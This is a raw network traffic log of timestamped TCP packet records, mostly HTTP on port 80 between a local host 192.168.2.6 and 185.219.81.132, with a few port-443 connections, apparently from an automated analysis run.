Dec 20, 2024 22:52:04.852133036 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.852193117 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.852240086 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.853837967 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.853887081 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.853948116 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.853992939 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.855643988 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.855693102 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.855768919 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.855818987 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.857418060 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.857465982 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.857526064 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.857573032 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.859249115 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.859294891 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.859370947 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.859416962 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.861041069 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.861095905 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.861200094 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.861248970 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.862821102 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.862879992 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.862936974 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.862986088 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.864602089 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.864649057 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.864722967 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.864768982 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.866422892 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.866467953 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.866518974 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.866570950 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.868232012 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.868277073 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.868280888 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.868318081 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.869968891 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.870042086 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.870085955 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.870134115 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.871788979 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.871840000 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.871881962 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.871931076 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.873589993 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.873637915 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.873656988 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.873696089 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.875353098 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.875410080 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.875453949 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.875489950 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.877142906 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.877202988 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.877240896 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.877281904 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.878912926 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.878988028 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.879009008 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.879051924 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.880695105 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.880750895 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.880816936 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.880861044 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.882504940 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.882559061 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.882587910 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.882627010 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.884339094 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.884391069 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.884398937 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.884443045 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.899302006 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.899569988 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.899642944 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.900490046 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.900509119 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.900520086 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.951224089 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.951304913 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.951366901 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.951411963 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.952002048 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.952047110 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.952125072 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.952167988 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.953682899 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.953742981 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.953788996 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.953834057 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.955378056 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.955480099 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.955516100 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.955559015 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.957020044 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.957056046 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.957077026 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.957484961 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.958611012 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.958657980 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.958734035 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.958775997 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.960280895 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.960325956 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.960378885 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.960422039 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.961926937 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.961977005 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.962070942 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.962110996 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.963587999 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.963630915 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.963690042 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.963730097 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.965287924 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.965332031 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.965414047 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.965457916 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.966912031 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.966953993 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.967005014 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.967046976 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.968566895 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.968611956 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.968671083 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.968709946 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.970196009 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.970237970 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.970314026 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.970351934 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.971949100 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.971995115 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.972038984 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.972083092 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.973506927 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.973551035 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.973629951 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.973670006 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.975166082 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.975203037 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.975224972 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.975263119 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.976675034 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.976715088 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.976771116 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.976814032 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.978247881 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.978307962 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.978341103 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.978382111 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.979799032 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.979841948 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.979928017 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.979959965 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.981312037 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.981344938 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.981431961 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.981479883 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.982851028 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.982892036 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.982923031 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.982964993 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.984343052 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.984458923 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.984472036 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.984611034 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.985769987 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.985807896 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.985882044 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.985918045 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.987216949 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.987258911 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.999666929 CET	49672	443	192.168.2.6	173.222.162.64
Dec 20, 2024 22:52:05.056072950 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.056135893 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.056220055 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.056266069 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.056401968 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.056447029 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.056490898 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.056535959 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.057207108 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.057332993 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.057554960 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.058197021 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.058248997 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.058322906 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.058396101 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.058907986 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.058969021 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.058989048 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.059031010 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.059694052 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.059739113 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.059828997 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.059869051 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.060542107 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.060595036 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.060638905 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.060689926 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.061356068 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.061402082 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.061463118 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.061512947 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.062158108 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.062215090 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.062275887 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.062323093 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.062984943 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.063030005 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.063114882 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.063158035 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.063863993 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.063911915 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.063991070 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.064035892 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.064657927 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.064697981 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.064775944 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.064830065 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.065481901 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.065540075 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.065627098 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.065670967 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.066390038 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.066442966 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.066442966 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.066484928 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.067135096 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.067188978 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.067264080 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.067322016 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.067967892 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.068027020 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.068089008 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.068135023 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.068809032 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.068865061 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.068937063 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.068983078 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.069645882 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.069761038 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.069768906 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.069871902 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.070430040 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.070489883 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.070584059 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.070631981 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.071254015 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.071310043 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.071381092 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.071427107 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.072091103 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.072144032 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.072160006 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.072200060 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.072887897 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.072942972 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.073004007 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.073046923 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.073724985 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.073780060 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.073893070 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.073940992 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.074548006 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.074605942 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.074665070 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.074707985 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.075376034 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.075429916 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.075515985 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.075556040 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.076174974 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.076242924 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.076277971 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.076339960 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.077003956 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.077043056 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.077110052 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.077150106 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.077815056 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.077867031 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.077929020 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.077967882 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.078649998 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.078707933 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.078747034 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.078788042 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.079476118 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.079523087 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.079560041 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.079598904 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.143409014 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.143428087 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.143476963 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.143501997 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.143649101 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.143692017 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.143798113 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.143838882 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.144454002 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.144501925 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.144535065 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.144573927 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.145287037 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.145384073 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.145395994 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.145418882 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.146028996 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.146097898 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.146131039 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.146255970 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.146848917 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.146889925 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.146990061 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.147025108 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.147686958 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.147749901 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.147815943 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.147860050 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.148518085 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.148578882 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.148643970 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.148699999 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.149348021 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.149439096 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.149442911 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.149569035 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.150142908 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.150218964 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.150300980 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.150340080 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.151005983 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.151051044 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.151088953 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:05.151125908 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:05.151808023 CET	80	49707	185.219.81.132	192.168.2.6
